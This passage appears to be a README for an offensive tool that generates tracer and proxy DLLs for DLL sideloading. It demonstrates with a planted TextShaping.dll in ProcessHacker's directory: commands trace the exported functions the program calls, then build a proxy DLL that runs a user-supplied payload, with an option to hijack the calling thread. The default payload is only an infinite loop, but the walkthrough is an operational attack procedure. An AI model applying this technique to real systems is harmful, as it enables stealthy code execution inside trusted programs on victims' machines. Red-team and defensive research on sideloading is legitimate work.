All of these projects must be compiled on `release` mode. Initally, both `ExportTracer` and `ProxyDll` will be empty, so you just need to compile `Generator` in order to start using the tool.
|
||||
I'm using relative paths within this tool, so keep the three projects in the same directory to prevent failures.
|
||||
|
||||
# Usage
|
||||
A while ago [I commented on Twitter](https://twitter.com/_Kudaes_/status/1648749432635105280) about what I called a "delayed" dll sideloading opportunity on `gdi32full.dll`. This dll, after some specific actions, will delayed-import the `TextShaping` dll, creating all sort of hijacking opportunities. In order to prove the ADPT usage, I'll show you how to exploit this dll sideload on ProcessHacker (which is one of the countless binaries that suffer from this delayed dll sideloading thing).
|
||||
|
||||
First, we need to figure out which TextShaping.dll's (which is by default located at `C:\Windows\System32\textshaping.dll`) exported functions are being called from ProcessHacker. To do so, we use `Generator` to create a tracing dll:
|
||||
|
||||
C:\Users\User\Desktop\ADPT\Generator\target\release> generator.exe -m trace -p C:\Windows\System32\TextShaping.dll
|
||||
|
||||
This command will generate the code and files required by the `ExportTracer` project. Once completed, compile `ExportTracer` on `release` mode, which should generate the file `.\ExportTracer\target\x86_64-pc-windows-msvc\release\exporttracer.dll`. Rename this dll to `TextShaping.dll` and plant it on ProcessHacker directory. Then, just fire up ProcessHacker. The tracer dll will log each one of the called exported functions to a log file, which by default will be written to `C:\Windows\Temp\result.log`. You can change the location of this log file at the time of creating the tracer dll by using the flag `-l`.
|
||||
|
||||
The log file will contain one line for each called exported function, allowing you to obtain the name of those functions and in which order they are being called. Below you can see an example of this log file:
|
||||
|
||||

|
||||
|
||||
With that info, you just need to indicate to the `Generator` the exported function that you want to use in order to run your payload. I'm going to use the first function that has been called, `ShapingCreateFontCacheData`:
|
||||
|
||||
C:\Users\User\Desktop\ADPT\Generator\target\release> generator.exe -m proxy -p C:\Windows\System32\TextShaping.dll -e ShapingCreateFontCacheData
|
||||
|
||||
Similarly to the previous command, this one will create the files required by the `ProxyDll` template project. Once the command has been completed, you can add your payload code in `.\ProxyDll\src\lib.rs:payload_execution()`. By default, the payload is just an infinite loop, which allows you to check that the sideloading has been successful by inspecting the process' threads. But before that, remember to compile the `ProxyDll` project on `release` mode, which will generate the file `.\ProxyDll\target\x86_64-pc-windows-msvc\release\proxydll.dll`. Once again, rename that file to `TextShaping.dll` and plant it on the ProcessHacker directory. Run ProcessHacker one more time and check that the new thread running the infinite loop has been spawned.
|
||||
|
||||

|
||||
|
||||
As it can be seen, our payload is running on the thread with TID `4032`. The payload will run just once. All the exported functions, including the one used to run the payload, are in the end proxied to the corresponding function of the original `TextShaping` dll, allowing the process to run normally. I mean, as any other dll proxying tool would do. Just check the `Modules` tab in PH to see that both dlls are loaded in the process:
|
||||
|
||||

|
||||
|
||||
Finally, some binaries will terminate the process if you dont hijack the calling thread. To prevent them from doing so, the current thread can be hijacked by using the flag `-c`. In that case, the hijacked exported function won't spawn a new thread to run the payload, but instead it will be run in on the current thread, preventing it from reaching the process termination point.
|
||||
|
||||
# Considerations
|
||||
Some issues may arise when trying to use this tool, but in my experience they are simple to fix or circumvent:
|
||||
* If at the time of compiling the tracer or proxy dll you are getting `error LNK2005: symbol already defined` error messages from the linker, just uncomment the line 5 of the `.cargo\config` file and try again.
|
||||
* If for any reason you need to statically link the C runtime in your dlls, [check this out](https://github.com/Kudaes/rust_tips_and_tricks?tab=readme-ov-file#vcruntime).
|
||||
|
||||
If you find any other issue, report it to me!
|
||||
Reference in New Issue
Block a user